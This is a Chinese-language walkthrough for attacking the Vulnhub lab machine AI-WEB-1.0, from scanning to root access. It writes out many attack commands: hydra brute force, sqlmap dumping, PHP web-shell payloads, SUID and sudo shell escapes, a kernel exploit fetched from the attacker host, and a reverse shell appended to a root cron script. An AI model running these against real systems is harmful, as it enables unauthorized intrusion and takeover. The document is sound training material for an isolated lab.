Vulnhub靶机渗透实战:从信息收集到权限提升的完整攻防演练
1. 项目概述:AI-WEB-1.0靶机渗透实战的意义
如果你对网络安全、渗透测试感兴趣,并且已经厌倦了纸上谈兵的理论,那么Vulnhub上的靶机就是你最好的实战沙盒。今天我们要聊的“AI-WEB-1.0”,就是这样一个专门设计来模拟真实世界Web应用漏洞的实战环境。它不是一道简单的CTF题目,而是一个综合性的“迷宫”,里面布满了从信息泄露、弱口令到代码执行、权限提升等各种经典漏洞,考验的是你系统性的渗透思维和工具链的熟练度。很多新手拿到一个靶机,第一反应就是打开扫描器一顿扫,然后对着漏洞报告发呆,不知道下一步该做什么。这篇指南的目的,就是带你从零开始,手把手地走完一次完整的渗透流程,让你不仅知道“怎么做”,更理解“为什么这么做”。我们将以AI-WEB-1.0为例,但其中涉及的思路、方法和工具,适用于绝大多数Vulnhub靶机,甚至是真实世界的授权安全评估。无论你是刚入门的安全爱好者,还是想巩固实战技能的学生,这篇超过5000字的深度解析,都将为你提供一份清晰的“作战地图”。
2. 渗透测试核心方法论与前期准备
在真正动手之前,我们必须建立起正确的“作战思想”。渗透测试不是漫无目的的乱撞,而是一个有章可循的周期性过程。业界普遍采用的标准流程,如PTES(渗透测试执行标准)或我们自己归纳的简化流程,通常包括以下几个关键阶段:信息收集、漏洞扫描与分析、漏洞利用、权限维持与横向移动、后渗透与清理。对于AI-WEB-1.0这类静态靶机,我们重点关注前四个阶段。记住,信息收集是整个过程的基石,往往能决定渗透的效率和成功率。在信息收集上花费的时间,通常会在后续阶段加倍地节省回来。
2.1 环境搭建与网络配置
工欲善其事,必先利其器。我们的作战平台通常选择Kali Linux,因为它集成了渗透测试所需的绝大多数工具。首先,你需要从Vulnhub官网下载AI-WEB-1.0的虚拟机镜像文件(通常是.ova或.vmdk格式)。使用VMware Workstation或VirtualBox导入该虚拟机。这里有一个关键步骤:务必将靶机(AI-WEB-1.0)和攻击机(Kali Linux)的网络模式设置为同一网段。最常用的方式是“NAT模式”或“仅主机模式”。我个人的习惯是使用“仅主机模式”,并为虚拟网卡配置一个固定的IP段,比如192.168.56.0/24。这样可以确保攻击环境与外部互联网隔离,避免意外扫描到公网资产,同时也简化了网络拓扑。
启动靶机后,我们首先需要确定它的IP地址。由于靶机通常不会主动告诉我们,我们需要进行网络发现。
注意:在VMware中,如果使用NAT模式,靶机可能会从DHCP获取一个与Kali不同网段的IP(如
192.168.xxx.xxx)。此时,你需要确保Kali能路由到该网段,或者更简单的方法是将两者都设置为“桥接模式”并连接到同一个物理网络(如你的家庭Wi-Fi),这样它们就会处于同一局域网内。对于初学者,“仅主机模式”是更稳妥、干扰更少的选择。
2.2 基础信息收集:发现目标
信息收集的第一步是找到目标。在Kali中打开终端,使用ifconfig或ip addr命令查看自己的IP地址,假设为192.168.56.101。接下来,我们需要扫描整个网段,找出靶机的IP。这里有两个经典工具:
netdiscover:一个主动/被动的ARP侦查工具,在局域网内发现主机非常高效。
sudo netdiscover -r 192.168.56.0/24执行后,它会列出该网段内所有活跃的IP和MAC地址。寻找那个不属于你已知设备(如你的Kali、宿主机)的IP,那很可能就是靶机。假设我们发现
192.168.56.105很可疑。nmap:进行更全面的主机发现和端口扫描。
sudo nmap -sn 192.168.56.0/24-sn参数表示只进行Ping扫描(主机发现),不扫描端口。同样,它会列出存活的主机。
确认靶机IP后(我们假设为192.168.56.105),信息收集的深度工作就正式开始了。这个阶段的目标是绘制一张关于目标的“全景图”:它开放了哪些门(端口)、门上挂着什么牌子(服务横幅)、门后大概是什么房间(服务类型和版本),甚至门口有没有贴告示(HTTP标题、robots.txt等)。
3. 深度信息收集与漏洞扫描
确定了目标的IP,我们就要拿起“望远镜”和“听诊器”,仔细打量这栋“建筑”的每一个细节。这一步的质量,直接决定了后续攻击路径的选择。
3.1 端口与服务探测
使用nmap进行全端口扫描和服务版本识别,这是最核心的一步。
sudo nmap -sV -sC -p- 192.168.56.105 -oN nmap_initial.txt-sV: 探测服务/版本信息。-sC: 使用默认的Nmap脚本进行扫描,能发现一些常见漏洞和信息。-p-: 扫描所有65535个端口。-oN nmap_initial.txt: 将扫描结果输出到文件,便于后续分析。
扫描结果可能会显示类似以下内容(这是基于常见靶机构建的示例):
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 3306/tcp open mysql MySQL 5.5.5-10.3.27-MariaDB-0+deb10u1 8080/tcp open http-proxy?从这份报告我们可以解读出:
- 22端口 (SSH):开放,运行的是OpenSSH 7.9。我们可以记下版本,后续可以搜索该版本是否存在已知漏洞(如用户枚举、认证绕过等),但通常较新版本的SSH直接利用难度大,更多作为后期爆破或密钥利用的入口。
- 80端口 (HTTP):开放,运行Apache 2.4.38。这是我们的主攻方向,Web应用漏洞大多集中于此。
- 3306端口 (MySQL):开放。这提示我们靶机可能运行着数据库,并且可能存在弱口令、SQL注入等漏洞。但MySQL端口通常不直接对外网开放,这里开放了,是一个强烈的信号。
- 8080端口:可能是一个额外的Web服务或代理,需要进一步访问确认。
3.2 Web路径与目录枚举
既然80端口是Web服务,我们接下来就要探索这个网站的结构。手动浏览是一个好习惯,但效率太低。我们需要使用工具进行目录爆破。
手动浏览:首先在浏览器中访问
http://192.168.56.105。观察首页内容,查看源代码,注意是否有注释、隐藏链接、JS文件泄露路径等信息。尝试点击所有可见链接。目录爆破:使用
gobuster或dirb等工具。gobuster dir -u http://192.168.56.105 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,zip,bak -o gobuster_scan.txt-u: 目标URL。-w: 使用的字典文件。Kali自带的common.txt是个不错的起点。-x: 尝试这些后缀。-o: 输出结果。
扫描可能会发现诸如
/admin,/login.php,/backup,/uploads,/robots.txt等关键目录和文件。检查特殊文件:
- robots.txt:访问
http://192.168.56.105/robots.txt,看是否列出了不允许爬虫访问的目录,这些目录往往包含管理后台或敏感文件。 - 源码泄露:检查是否有
.git,.svn,.DS_Store等目录或文件泄露,这可能导致源代码被下载。 - 备份文件:尝试访问
index.php.bak,config.php.bak,database.sql.zip等常见备份文件名。
- robots.txt:访问
3.3 漏洞扫描器辅助分析
对于Web应用,我们可以使用自动化漏洞扫描器进行初步筛查,但切记扫描器只是辅助,不能替代人工分析。它们可能会误报或漏报,但其报告可以作为我们深入测试的线索。
- Nikto:一个经典的Web服务器扫描器,能快速识别服务器配置问题、过时的软件和潜在的危险文件。
nikto -h http://192.168.56.105 -o nikto_scan.txt - WPScan:如果目标是一个WordPress站点(AI-WEB-1.0可能不是,但这是常用技能),那么WPScan是神器。
(需要注册获取API Token以更新漏洞数据库)wpscan --url http://192.168.56.105 --enumerate u,p,t --api-token YOUR_API_TOKEN
在进行完深度信息收集后,你应该已经拥有了一份包含目标IP、开放端口、服务版本、网站目录结构、可能存在的敏感文件以及初步漏洞线索的详细报告。现在,我们就要基于这些信息,开始尝试“开门”了。
4. 漏洞利用与初始访问突破
信息收集阶段为我们提供了多个可能的入口点。我们需要根据线索的强弱和利用的难易程度,制定攻击路径。一个常见的策略是:先Web,后服务;先通用漏洞,后特定应用漏洞。
4.1 Web入口点分析与利用
假设我们的目录扫描发现了/admin/login.php。访问它,是一个管理员登录页面。
弱口令爆破:这是最常见的突破口。我们可以使用
hydra对登录表单进行爆破。hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.105 http-post-form "/admin/login.php:username=^USER^&password=^PASS^:F=Invalid"-l admin: 假设用户名为admin。你也可以用-L user_list.txt指定用户名字典。-P rockyou.txt: 使用著名的弱口令字典。http-post-form: 指定协议和表单参数。"/admin/login.php:username=^USER^&password=^PASS^:F=Invalid": 这是关键参数。它告诉hydra:向这个URL提交POST请求,将^USER^和^PASS^替换为字典中的值,如果返回的页面中包含“Invalid”字样,就说明登录失败。
实操心得:爆破前,最好先手动提交一次错误的登录,用Burp Suite抓包,仔细查看请求的格式、参数名、以及登录失败时返回页面的特征字符串(如“Login failed”, “Invalid”等)。
http-post-form的语法比较挑剔,参数必须完全匹配。对于复杂的表单(有CSRF token等),使用Burp Suite的Intruder模块进行爆破会更灵活。SQL注入测试:如果登录表单存在SQL注入漏洞,我们可能无需爆破就能绕过登录。在用户名和密码框尝试输入经典payload:
admin' OR '1'='1。同时,使用sqlmap进行自动化检测。sqlmap -u "http://192.168.56.105/admin/login.php" --data="username=admin&password=test" --level=3 --risk=2 --batch--data: 提交的POST数据。--level/--risk: 提高检测等级和风险级别,检测更全面的注入类型。--batch: 以非交互模式运行,自动选择默认选项。
如果sqlmap确认存在注入点,我们可以尝试获取数据库信息、表名、列名,甚至直接导出管理员账户的密码哈希值。
sqlmap -u "http://192.168.56.105/admin/login.php" --data="username=admin&password=test" --dbs # 枚举数据库 sqlmap ... -D target_db --tables # 枚举指定数据库的表 sqlmap ... -D target_db -T users --columns # 枚举users表的列 sqlmap ... -D target_db -T users -C username,password --dump # 导出用户名和密码文件上传漏洞:如果扫描发现了
/upload.php或类似功能,这可能是获取Web Shell(网页后门)的绝佳机会。尝试上传一个图片文件(如.jpg)测试功能是否正常。然后,尝试上传一个包含PHP代码的文件(如shell.php内容为<?php system($_GET['cmd']);?>)。常见的绕过技巧包括:- 修改后缀:
shell.php->shell.php.jpg或shell.pHp。 - 修改Content-Type:在Burp Suite中拦截上传请求,将
Content-Type: application/x-php改为Content-Type: image/jpeg。 - 利用解析漏洞:如
shell.php.jpg在某些配置下可能被解析为PHP。 - 制作图片马:使用
exiftool将PHP代码写入图片的EXIF信息中,然后配合文件包含漏洞执行。
- 修改后缀:
4.2 服务漏洞利用
如果Web入口久攻不下,我们可以回头看看其他开放的服务。
SSH弱口令或密钥泄露:对SSH服务进行爆破。
hydra -L user_list.txt -P password_list.txt ssh://192.168.56.105 -t 4同时,检查网站源码、备份文件中是否泄露了SSH私钥(
id_rsa)。如果找到,需要将其权限设置为600,然后尝试连接。chmod 600 found_id_rsa ssh -i found_id_rsa user@192.168.56.105MySQL弱口令与UDF提权:如果MySQL存在弱口令(如 root/root),我们可以连接并尝试写入Web Shell或进行UDF提权。
mysql -h 192.168.56.105 -u root -p连接成功后:
-- 查看数据库,寻找Web应用的数据库 SHOW DATABASES; USE webapp_db; -- 尝试通过SELECT INTO OUTFILE写入Web Shell(需要FILE权限和secure_file_priv设置允许) SELECT '<?php system($_GET[\"cmd\"]); ?>' INTO OUTFILE '/var/www/html/shell.php';注意:
INTO OUTFILE需要MySQL用户具有FILE权限,并且secure_file_priv系统变量不能为NULL(通常为空或指定目录)。这在实际靶机中是一个常见的考点。
假设我们通过Web文件上传漏洞,成功将shell.php上传到了/uploads/shell.php。访问http://192.168.56.105/uploads/shell.php?cmd=id,如果页面返回了当前用户的id信息(如uid=33(www-data) gid=33(www-data) groups=33(www-data)),恭喜你,你已经获得了初始立足点——一个Web Shell,并且当前权限是www-data(Web服务运行用户)。这标志着我们成功突破了边界,进入了目标系统内部。
5. 权限提升与后渗透
获得一个低权限的Shell(如www-data)只是第一步。我们的目标是获得最高权限(root)。这个过程称为权限提升(Privilege Escalation),是渗透测试中最能体现技术深度的环节之一。
5.1 信息收集(内部)
首先,我们需要在目标机器内部收集信息,寻找提权的线索。上传一个功能更强大的后门(如用Python或PHP写的反弹Shell脚本),或者直接使用Web Shell执行命令来收集信息。
- 系统信息:
# 查看内核和系统版本 uname -a cat /etc/os-release # 查看当前用户和权限 id whoami sudo -l # 非常重要的命令!查看当前用户可以以root身份无需密码运行哪些命令 - 进程与服务:
ps aux netstat -tulpn # 或 ss -tulpn systemctl list-units --type=service - 敏感文件与配置:
# 查找SUID/SGID文件(重点!) find / -type f -perm -u=s -ls 2>/dev/null find / -type f -perm -g=s -ls 2>/dev/null # 查找可写的敏感目录 find / -type d -writable 2>/dev/null | grep -v "/proc\|/sys" # 查找配置文件中的密码 find / -name "*.php" -o -name "*.conf" -o -name "*.config" -o -name "*.ini" | xargs grep -i "password\|passwd\|pwd" 2>/dev/null # 查看历史命令 cat ~/.bash_history - 计划任务:
crontab -l ls -la /etc/cron* /var/spool/cron/ cat /etc/crontab
5.2 常见提权路径实战
根据内部信息收集的结果,我们可以尝试以下几种经典的提权方法:
路径一:利用SUID/SGID二进制文件如果find命令发现了不常见的SUID文件(如find,vim,bash,nmap,more,less等),可以利用它们来提权。例如,发现find有SUID位:
# 方法1:使用find的-exec参数执行命令 touch /tmp/root-shell find /tmp/root-shell -exec /bin/bash -p \; # 此时会弹出一个bash,由于find以root权限运行,-exec执行的bash也继承了root权限。再如,老版本的nmap有交互模式(nmap --interactive),在交互模式下可以执行shell命令(!sh),如果nmap是SUID,则获得root shell。
路径二:利用sudo权限如果sudo -l显示当前用户可以以root身份无需密码运行某些命令(如vi,python,perl,tar,awk等),这就是一条捷径。
# 例如,可以无密码运行vi sudo vi /etc/passwd # 在vi中,输入 :!sh 即可获得一个root shell # 或者,可以无密码运行python sudo python -c 'import os; os.system("/bin/bash")'路径三:内核漏洞提权如果系统内核版本较旧,可能存在公开的本地提权漏洞。首先用uname -a查看内核版本,然后在攻击机上搜索对应的EXP(漏洞利用程序)。Kali中自带searchsploit工具。
# 在Kali上搜索 searchsploit linux kernel 3.13 # 替换成目标内核版本找到EXP后,将其上传到靶机(可以通过Web Shell的wget功能,或在本机搭建HTTP服务python3 -m http.server 8000,然后在靶机上下载wget http://192.168.56.101:8000/exploit.c)。在靶机上编译并运行EXP。
gcc exploit.c -o exploit chmod +x exploit ./exploit如果成功,你会看到#提示符,表示获得了root权限。
重要警告:在真实环境中,运行内核EXP风险极高,可能导致系统崩溃(蓝屏)。仅在授权的测试环境或靶机中使用。
路径四:利用定时任务(Cron Jobs)如果发现一个以root身份运行的定时任务,并且该任务执行的脚本或目录当前用户有写入权限,我们就可以通过篡改该脚本来获得root权限。
# 假设发现 /etc/cron.hourly/cleanup.sh 以root运行,且www-data可写 echo 'bash -i >& /dev/tcp/192.168.56.101/4444 0>&1' >> /etc/cron.hourly/cleanup.sh # 然后在Kali上监听4444端口:nc -lvnp 4444 # 等待定时任务执行,即可收到root的反弹shell。路径五:MySQL UDF提权如果我们之前获得了MySQL的root权限,并且MySQL服务是以root身份运行的(常见于老旧系统),可以尝试通过UDF(用户自定义函数)提权。
- 在攻击机上找到UDF库文件(如
lib_mysqludf_sys.so对于Linux)。 - 将其上传到靶机MySQL可访问的目录(如
/tmp或/usr/lib/mysql/plugin/)。 - 在MySQL中创建函数并执行系统命令。 这个过程较为复杂,需要MySQL的
FILE权限和插件目录的写入权限,是CTF和靶机中的经典题型。
在AI-WEB-1.0靶机中,很可能结合了上述多种漏洞。例如,通过Web漏洞获得www-data shell,然后发现一个具有SUID位的、不常见的程序,或者一个配置错误的sudo条目,最终完成提权。当你看到#提示符,并且id命令显示uid=0(root)时,就意味着你已经完全控制了这台靶机。
6. 总结与经验固化
一次完整的渗透测试,在获取root权限后,还应包括权限维持(创建后门账户、安装rootkit等)、横向移动(在内网中攻击其他机器)和清理痕迹(删除日志、历史命令等)等后渗透阶段。但对于Vulnhub靶机,我们的主要学习目标在获得root权限时就已经达成。
回顾整个AI-WEB-1.0的渗透过程,我们可以提炼出一些普适性的经验和技巧:
- 信息收集是灵魂:不要吝啬在信息收集上的时间。全面的扫描、仔细的手工审查,往往能发现自动化工具忽略的细节,比如JS文件中的API路径、注释里的密码、不常见的子域名等。
- 工具是延伸的手,思维是核心的脑:熟练掌握nmap, gobuster, hydra, sqlmap, burpsuite等工具是基础,但更重要的是根据收集到的信息,形成攻击链路的逻辑思维。为什么先试这个?如果不行,备选方案是什么?
- 提权路径依赖系统知识:Linux权限体系(SUID, SGID, Capabilities)、服务配置(sudo, cron)、内核机制等系统知识,是权限提升的基础。平时多积累这些知识,遇到问题时才能快速定位方向。
- 保持好奇心与耐心:渗透测试就像解谜。遇到阻碍时,回头重新审视信息收集的结果,换个角度思考。那个不起眼的文件、那个奇怪的端口、那条被忽略的报错信息,可能就是突破口。
- 文档与复盘:在整个过程中,养成随时记录的习惯。用了什么命令、得到了什么结果、下一步计划是什么。渗透结束后,撰写详细的报告进行复盘,将实战经验转化为固化的知识。
最后,关于AI-WEB-1.0靶机本身,由于它是一个具体的、静态的环境,其漏洞点是固定的。我强烈建议你在按照本指南的思路进行尝试后,去搜索其他人关于此靶机的详细Write-up(解题报告)。对比他们的方法和你的方法,看看有哪些遗漏的入口点(比如一个隐藏的参数、一个易被忽略的备份文件、一个非常规的提权手法),这种对比学习能极大地提升你的漏洞挖掘和利用能力。记住,靶机是训练场,在这里摔打出的技能和养成的思维习惯,才是你面对更复杂、更真实的网络环境时最宝贵的财富。
